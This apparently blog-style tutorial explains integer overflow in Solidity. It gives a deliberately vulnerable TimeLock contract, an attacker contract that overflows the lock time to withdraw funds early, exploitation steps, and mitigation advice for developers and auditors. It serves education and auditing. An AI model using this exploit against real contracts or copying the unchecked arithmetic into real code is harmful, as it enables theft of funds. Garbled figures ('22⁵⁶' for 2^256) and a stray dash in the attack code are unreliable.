overflow

An overflow is a numeric calculation that exceeds the amount of memory allocated for storage. In Solidity, the range that the uint8 data type can represent is 256 numbers from 0 to 255. When the uint8 type is used to calculate 255 + 1, an overflow will occur, so the result of the calculation will be 0, the smallest value that the uint8 type can represent.

If there is an overflow vulnerability in the contract, the actual result of the calculation may differ significantly from the expected result. This will affect the normal logic of the contract and may result in loss of funds. However, there are version restrictions for the overflow vulnerability. In versions of Solidity < 0.8, the overflow will not report an error, but in versions >= 0.8, the overflow will raise an error.

Example

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

contract TimeLock 
{
  mapping(address => uint) public balances;
  mapping(address => uint) public lockTime;

	function deposit() external payable 
  {
		balances[msg.sender] += msg.value;
    lockTime[msg.sender] = block.timestamp + 1 weeks;
	}

  function increaseLockTime(uint _secondsToIncrease) public 
  {
    lockTime[msg.sender] += _secondsToIncrease;
  }

  function withdraw() public 
  {
    require(balances[msg.sender] > 0, "Insufficient funds");
    require(block.timestamp > lockTime[msg.sender], "Lock time not expired");
    uint amount = balances[msg.sender];
    balances[msg.sender] = 0;
    (bool sent, ) = msg.sender.call{value: amount}("");
    require(sent, "Failed to send Ether");
  }
 }

Vulnerability Analysis

We can see that the TimeLock contract acts as a time store. Users can deposit and freeze funds in the contract using the deposit() function, which will be locked for at least one week. Of course, the user can still increase the retention time using the increaseLockTime() function. The user cannot revoke tokens locked in the TimeLock contract before the expiration of the set retention period.

Looking at the increaseLockTime and deposit functions, we see that they contain arithmetic operations. The version supported by the contract is version 0.7.6 compatible, so this contract will not report an overflow error. Let’s analyze two functions, increaseLockTime and the deposit function.

1. The deposit function consists of two operations. The first one affects the balance entered by the user. The parameters passed here are controllable, so there is a risk of overflow. Another way is to influence the user’s blocking time. The calculation logic here is that each time a deposit is called to deposit tokens, the lock time will be added by one week. Because the parameters are fixed here, there is no risk of overflow in this calculation.

2. The increaseLockTime function performs calculations based on the _secondsToIncrease parameter passed by the user to change the lock time for the user’s deposited tokens. Since the _secondsToIncrease parameter is managed, there is a risk of overflow.

Let’s take a closer look at the balances parameter. A significant amount of funds (22⁵⁶ to be exact) must be deposited into our account to create an overflow. This will overflow the balances in our account and reduce them to zero, giving the impression that there is nothing there.

Now let’s focus on the _secondsToIncrease parameter. This parameter is passed when we call the increaseLockTime function to increase the hold time. This setting can determine when we deposit and lock funds in the contract. It is calculated directly from the block time associated with the account. We can manipulate the _secondsToIncrease parameter to cause an overflow and return to zero, which will allow us to withdraw the balance before the expiration date.

Attacker contract

import './overflow.sol';
contract Attack 
{
	TimeLock timeLock;
  
  constructor(TimeLock _timeLock) 
  {
	  timeLock = TimeLock(_timeLock);
  }

	fallback() external payable {}

  function attack() public payable 
  {
	  timeLock.deposit{value: msg.value}();
    timeLock.increaseLockTime(type(uint).max + 1 — timeLock.lockTime(address(this)));
    timeLock.withdraw();
  }
}

Vulnerability exploitation

1. First deploy the TimeLock contract.

2. Expand the Attack contract and pass in the address of the TimeLock contract.

3. Call the Attack.attack function; it then calls the TimeLock.deposit function to deposit Eth into the TimeLock contract (at which time Eth will be locked by TimeLock for a week). It then calls the TimeLock.increaseLockTime function again. It passes the maximum value that can be represented by the uint type (22⁵⁶-1) plus one minus the lock time recorded in the current temporary lock contract. At this time, the result of the lock time in the TimeLock.increaseLockTime function is 22⁵⁶. Since the number 22⁵⁶ overflows, the return value will be 0. At this time, we simply stored the value in the TimeLock contract, and the returned lock time for the contract becomes 0.

4. At this time, Attack.attack triggers the time block again. The output function will successfully pass the lock. Timestamp > Block Time [msg.sender]. This check allows us to successfully delete in advance when the retention time has not expired.

Algorithm

Contract verification

Developer

Auditor

Use SafeMath libraries to prevent overflow

Check Solidity Version

Use Solidity 8.0 and above

If the contract version is below Solidity 0.8, you need to check if the contract refers to SafeMath.

Casting to another type must be used with care. For example, forcing a parameter of type uint256 to be converted to uint8 can result in an overflow due to the different value ranges of the two types.

If SafeMath is used, we need to pay attention to whether there is a mandatory type conversion in the contract. If so, there may be a risk of overflow.

If SafeMath is not used and there are arithmetic operations in the contract, we can conclude that this contract may have an overflow risk.

Links:

https://swcregistry.io/docs/SWC-101

Similar Posts

Leave a Reply